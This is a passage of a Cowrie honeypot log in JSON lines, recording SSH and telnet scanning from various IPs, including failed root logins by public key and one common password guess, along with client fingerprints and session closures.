c7:6c:52:f5:14:bc:6d:f8:3d:c7:32:3c:e0:02:10:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.564240Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:6c:52:f5:14:bc:6d:f8:3d:c7:32:3c:e0:02:10:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0nAspl6SXYDPO8TeRYGGBsoRj5c5noSFpiapuXP7OKaQGpTyphnGDKo7LVcJRNkJBMReWKHyq/Aup84J4gIsfMIV7dsBlzpMzmpFXM33yMYSMxNyRs8OWvVYc/M19wSa9NdasA7CwFAYuhrxql0fL1VtfeHdr8CCpVFeEQ62pG3cAnii656UUjfCM6Mift6m7DlfJTjiQakrazAz9yEXBCzLhTwDc8BwJHIN1oWm9MWkPll/dGMUNxnyhwwDm3SWO5e2EROxRObAStNwKH+E7cBj/IdlzrjIwvM8+54ZwSfq8cNmc2WtniIkib1mz42khr9bmJVfOFwNLxjr0Jt15","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.568406Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:99:eb:c5:00:91:94:c1:05:6e:d6:99:60:ca:1d:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxLY5oGKuXMtiFlnhzfovbEnIKgL7OmX5lu57FZKNDkwRpdErrSkDo6fRXPzqSkMunIC0A4I3mQgCnZgL8W6nuyDfGYyXeekiACevScwdX9y4eLkwKLVulzKtNnOrKNtEDLwuS4m20M5bC0WPSmco89mc/1iViHfXOJaP1kXebnYqSj2WsPXncMoXaTFxuH0/1lGFdh56+kvBfjpC/SIN/OQb1LNAIht0omW6T5+djBHMgovU9H0wQiSV3hCco91u7XwLRQB9Zv6hcWr+tK8uKEMh1cCEVO5+6+6+W9Q5Mi9AqCSSe/lo64fzBuG4B1ziXzZgC/JrwM072jakJN0cX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:99:eb:c5:00:91:94:c1:05:6e:d6:99:60:ca:1d:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.655367Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:99:eb:c5:00:91:94:c1:05:6e:d6:99:60:ca:1d:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxLY5oGKuXMtiFlnhzfovbEnIKgL7OmX5lu57FZKNDkwRpdErrSkDo6fRXPzqSkMunIC0A4I3mQgCnZgL8W6nuyDfGYyXeekiACevScwdX9y4eLkwKLVulzKtNnOrKNtEDLwuS4m20M5bC0WPSmco89mc/1iViHfXOJaP1kXebnYqSj2WsPXncMoXaTFxuH0/1lGFdh56+kvBfjpC/SIN/OQb1LNAIht0omW6T5+djBHMgovU9H0wQiSV3hCco91u7XwLRQB9Zv6hcWr+tK8uKEMh1cCEVO5+6+6+W9Q5Mi9AqCSSe/lo64fzBuG4B1ziXzZgC/JrwM072jakJN0cX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.660509Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:01.747839Z","src_ip":"185.102.171.239","session":"61e5b6898b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":39502,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b6234dde48","protocol":"telnet","message":"New connection: 166.62.41.96:39502 (159.203.135.109:23) [session: 96b6234dde48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:16.331718Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.60","src_port":41900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4c188aa4ec1","protocol":"ssh","message":"New connection: 185.134.49.60:41900 (10.17.0.5:22) [session: f4c188aa4ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:19.352684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:19.357195Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:19.483446Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:09:36:b5:06:88:67:0e:40:00:f1:f4:d1:e3:8f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdaD67uAHxW9U7pXP7LQEXgUbS5mhpC70Wx1nXX0AIPxyNOYrEzaqpAKsOKuBsGxKCyrois8FeIgs2/flOP/mtUKtHlzTmPzc/9Nh/kEQKVc9kSZZAlCIuQXGXuQBAMhQEVm1dHuH/HHBFuW2MCO8kKczKT+DAd2/zXmowDEneO9M1rI8XN/By13GIb6lsj8B7qEYljPV12l7znqC/6G0L+HSvjdkKhUF/6rqkPWsXNHzRBFBMVGv2rnAQK0+GNX3RgWDGvDmN2+D9OzXzFA1QX5EPV7qEpczPlB3korXmdrkGk5+y1PKen7c2JeRz+sEh4wSwwjDmnN2EoFYLos57","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:09:36:b5:06:88:67:0e:40:00:f1:f4:d1:e3:8f:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.086475Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:09:36:b5:06:88:67:0e:40:00:f1:f4:d1:e3:8f:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdaD67uAHxW9U7pXP7LQEXgUbS5mhpC70Wx1nXX0AIPxyNOYrEzaqpAKsOKuBsGxKCyrois8FeIgs2/flOP/mtUKtHlzTmPzc/9Nh/kEQKVc9kSZZAlCIuQXGXuQBAMhQEVm1dHuH/HHBFuW2MCO8kKczKT+DAd2/zXmowDEneO9M1rI8XN/By13GIb6lsj8B7qEYljPV12l7znqC/6G0L+HSvjdkKhUF/6rqkPWsXNHzRBFBMVGv2rnAQK0+GNX3RgWDGvDmN2+D9OzXzFA1QX5EPV7qEpczPlB3korXmdrkGk5+y1PKen7c2JeRz+sEh4wSwwjDmnN2EoFYLos57","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.090900Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:34:29:20:97:08:5c:11:a0:6a:30:50:e5:ce:9f:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncihWRZhvZEguyz6GzmDHyowrq8Gt7qYStxRqQTyA8V1yBV9QcD38WmJdv4LOTb0y9TlHQlnzdR/vdUudZB1GPs5E/VC5o4KCLSwCXq0HxxynHfahRI4YXViynWjjRDSdx3VHSyixTp4EVmNGK8O+03e/rZXJcJgMCzrETKCiGqqSp+aSNX0up1c780nW0xyVDZoOwGJjWWTYkTSFNSsCgKZ2wv+npmHc+TIKfs3rRYCfX8hWtXWBizSx75rwknMSksRiHF/rebWy9UnIsoxf/9fp3NeDvypMlWLY72aPnLIypEFhZIrA2NS0i0r5nLVo54eIlnvUsIkQt1rC0+nObKkWizoSBOQR7XUAaBoD3qwt9+8ewqc38tEuk7JHIX6cU55b02L9P5+Y+zNGpKinYRpRIOu7n9nHNcy+1VmsWj3r/Q0sIVVJt0IdBdpKv1A/K8lEigcSIZbto3orK9tWBCBxECNb3+b+zWr7zerSHjsumg4Wjnreb7yam4vG1M4xw/hVGAveqfKHsm4kto03WNI8LdNnEZjpBlM2WAdNpZzH/c0ksaqaWcFnvWcsBkIAo0ktEhnHjzWgWXnsJPQaisFsosZKvdPtn7AQ36/uWK3ezAsxEfatKb6HWpFLgcO2+vKlRa7A3d5YhlTUfOloJq2XgNtE+aIpCZILVu474Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:34:29:20:97:08:5c:11:a0:6a:30:50:e5:ce:9f:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.216139Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:34:29:20:97:08:5c:11:a0:6a:30:50:e5:ce:9f:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncihWRZhvZEguyz6GzmDHyowrq8Gt7qYStxRqQTyA8V1yBV9QcD38WmJdv4LOTb0y9TlHQlnzdR/vdUudZB1GPs5E/VC5o4KCLSwCXq0HxxynHfahRI4YXViynWjjRDSdx3VHSyixTp4EVmNGK8O+03e/rZXJcJgMCzrETKCiGqqSp+aSNX0up1c780nW0xyVDZoOwGJjWWTYkTSFNSsCgKZ2wv+npmHc+TIKfs3rRYCfX8hWtXWBizSx75rwknMSksRiHF/rebWy9UnIsoxf/9fp3NeDvypMlWLY72aPnLIypEFhZIrA2NS0i0r5nLVo54eIlnvUsIkQt1rC0+nObKkWizoSBOQR7XUAaBoD3qwt9+8ewqc38tEuk7JHIX6cU55b02L9P5+Y+zNGpKinYRpRIOu7n9nHNcy+1VmsWj3r/Q0sIVVJt0IdBdpKv1A/K8lEigcSIZbto3orK9tWBCBxECNb3+b+zWr7zerSHjsumg4Wjnreb7yam4vG1M4xw/hVGAveqfKHsm4kto03WNI8LdNnEZjpBlM2WAdNpZzH/c0ksaqaWcFnvWcsBkIAo0ktEhnHjzWgWXnsJPQaisFsosZKvdPtn7AQ36/uWK3ezAsxEfatKb6HWpFLgcO2+vKlRa7A3d5YhlTUfOloJq2XgNtE+aIpCZILVu474Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.220358Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:cb:0a:2d:b8:54:6a:85:2d:96:95:ca:02:2e:a4:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuISGG0oGtmxl8kWoE/chwbST28Kb97m/+DGwlAWWgDtJIlMiTmJM8L9wIqUjWRpiUacC1lmJPh+bjfXm9M61J2CtPYV6A1MEfAUoTIdHcaj9Jzpg3xxrbjZraWZLV1EQgWKL7k3eaNk2Or7j3nyp65OP/joyopljoSL/FeNz+wd04iQNM+zlEhXrxc8yzdNrtkSDrZsGj6JvOVNE35X1BB6SVZcL614LlXPvR66c95bfTOR+72utWxmd80/h8q7Jd6YLOIgrq++VoqXUQ2vW69zTO/NVwp+mZGblsmpkOpvXgxGQ6IcNld+oaNJF57DW732cv8eyZoGCCb1dzh59l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:cb:0a:2d:b8:54:6a:85:2d:96:95:ca:02:2e:a4:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.345004Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:cb:0a:2d:b8:54:6a:85:2d:96:95:ca:02:2e:a4:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuISGG0oGtmxl8kWoE/chwbST28Kb97m/+DGwlAWWgDtJIlMiTmJM8L9wIqUjWRpiUacC1lmJPh+bjfXm9M61J2CtPYV6A1MEfAUoTIdHcaj9Jzpg3xxrbjZraWZLV1EQgWKL7k3eaNk2Or7j3nyp65OP/joyopljoSL/FeNz+wd04iQNM+zlEhXrxc8yzdNrtkSDrZsGj6JvOVNE35X1BB6SVZcL614LlXPvR66c95bfTOR+72utWxmd80/h8q7Jd6YLOIgrq++VoqXUQ2vW69zTO/NVwp+mZGblsmpkOpvXgxGQ6IcNld+oaNJF57DW732cv8eyZoGCCb1dzh59l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.349475Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:57:c4:a8:63:35:35:01:47:41:6c:3a:ac:30:bc:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaE2ummWI/KmRPfBbZ6/Cgw0QGFrobXSaZDFd/Zca9wb6vIeeEaLQszDXjwZ29SyrKWI/55bFMpac+sTZSW3qOgqSlp2YCHM2CFbWaLgRLVdXMFtRVan8PE+urD5PdBqKvpU+J0pNMYU5F/PWCagwjkL15ifTf7NOjtePCs6snHt81lEH1LLIKNaBLu7bHl/h1eQtjB7f6zj4s7EMmKOqt3/AhEpOTHXAyKe5OWq/yU3ZcSe+w3DHWVReL9d7+E5I2tI7MPG0tFdg90Zd+5nNtghs6eahWLhzhkpfUzOZCBCN14YsJobgj/Bgg9XKYXjxCEFXgs9zlEiYnX2Jf43ox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:57:c4:a8:63:35:35:01:47:41:6c:3a:ac:30:bc:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.473643Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:57:c4:a8:63:35:35:01:47:41:6c:3a:ac:30:bc:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaE2ummWI/KmRPfBbZ6/Cgw0QGFrobXSaZDFd/Zca9wb6vIeeEaLQszDXjwZ29SyrKWI/55bFMpac+sTZSW3qOgqSlp2YCHM2CFbWaLgRLVdXMFtRVan8PE+urD5PdBqKvpU+J0pNMYU5F/PWCagwjkL15ifTf7NOjtePCs6snHt81lEH1LLIKNaBLu7bHl/h1eQtjB7f6zj4s7EMmKOqt3/AhEpOTHXAyKe5OWq/yU3ZcSe+w3DHWVReL9d7+E5I2tI7MPG0tFdg90Zd+5nNtghs6eahWLhzhkpfUzOZCBCN14YsJobgj/Bgg9XKYXjxCEFXgs9zlEiYnX2Jf43ox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.478422Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:bf:b4:af:ab:34:7d:da:20:fb:a3:67:ba:80:8f:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAwthvW422tO2wJUSNdl328mk1wSGMuSujns3XvaWEviOrMhW3tn9amuNuMbgdOGAdt14hlx70Q0EwXZjNDnpp+kklO3NkU4HaRmIdDjoLRQJpYVeBpa5UlL/DdhM876UsHoUDDFJ+2MQCwKX4DWIY0ja3jkVw3O3hFtwtr5kq3erkXJz8CR0sWwKXA/ae//3LpkLG8MPLqw3km1YbDtFpD2DsDV/VYia/KANg4L9JsK6e9nvzFrQl5l8V52xPTHnCnX3yJcf5ndbNI0apOCpKFZ98XQcRhSuKwRpfRQPO3O7snulyd/8vdcang9dOoUdRH4Zh7aa8RfgRaOiHlp3R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:bf:b4:af:ab:34:7d:da:20:fb:a3:67:ba:80:8f:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.604525Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:bf:b4:af:ab:34:7d:da:20:fb:a3:67:ba:80:8f:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAwthvW422tO2wJUSNdl328mk1wSGMuSujns3XvaWEviOrMhW3tn9amuNuMbgdOGAdt14hlx70Q0EwXZjNDnpp+kklO3NkU4HaRmIdDjoLRQJpYVeBpa5UlL/DdhM876UsHoUDDFJ+2MQCwKX4DWIY0ja3jkVw3O3hFtwtr5kq3erkXJz8CR0sWwKXA/ae//3LpkLG8MPLqw3km1YbDtFpD2DsDV/VYia/KANg4L9JsK6e9nvzFrQl5l8V52xPTHnCnX3yJcf5ndbNI0apOCpKFZ98XQcRhSuKwRpfRQPO3O7snulyd/8vdcang9dOoUdRH4Zh7aa8RfgRaOiHlp3R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.608935Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:20.733876Z","src_ip":"185.134.49.60","session":"f4c188aa4ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.7","src_port":44646,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f7846684fb","protocol":"telnet","message":"New connection: 85.11.167.7:44646 (159.203.135.109:23) [session: 83f7846684fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:27.383310Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33946,"dst_ip":"10.17.0.5","dst_port":22,"session":"85d5b8bd7863","protocol":"ssh","message":"New connection: 103.15.226.202:33946 (10.17.0.5:22) [session: 85d5b8bd7863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:27.740184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:27.745127Z","src_ip":"103.15.226.202","session":"85d5b8bd7863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:27.980391Z","src_ip":"103.15.226.202","session":"85d5b8bd7863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos123","message":"login attempt [root/centos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:28.699047Z","src_ip":"103.15.226.202","session":"85d5b8bd7863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:29.937915Z","src_ip":"103.15.226.202","session":"85d5b8bd7863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.720900058746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:17:47.052462Z","src_ip":"166.62.41.96","session":"96b6234dde48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.13604521751404,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:27.519208Z","src_ip":"85.11.167.7","session":"83f7846684fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"c520090c0aa7","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: c520090c0aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:32.264921Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:32.382945Z","src_ip":"77.90.185.16","session":"c520090c0aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.33.170","src_port":39056,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf1faffd9ad","protocol":"ssh","message":"New connection: 69.175.33.170:39056 (10.17.0.5:22) [session: 1bf1faffd9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.341805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:18:51.346478Z","src_ip":"69.175.33.170","session":"1bf1faffd9ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5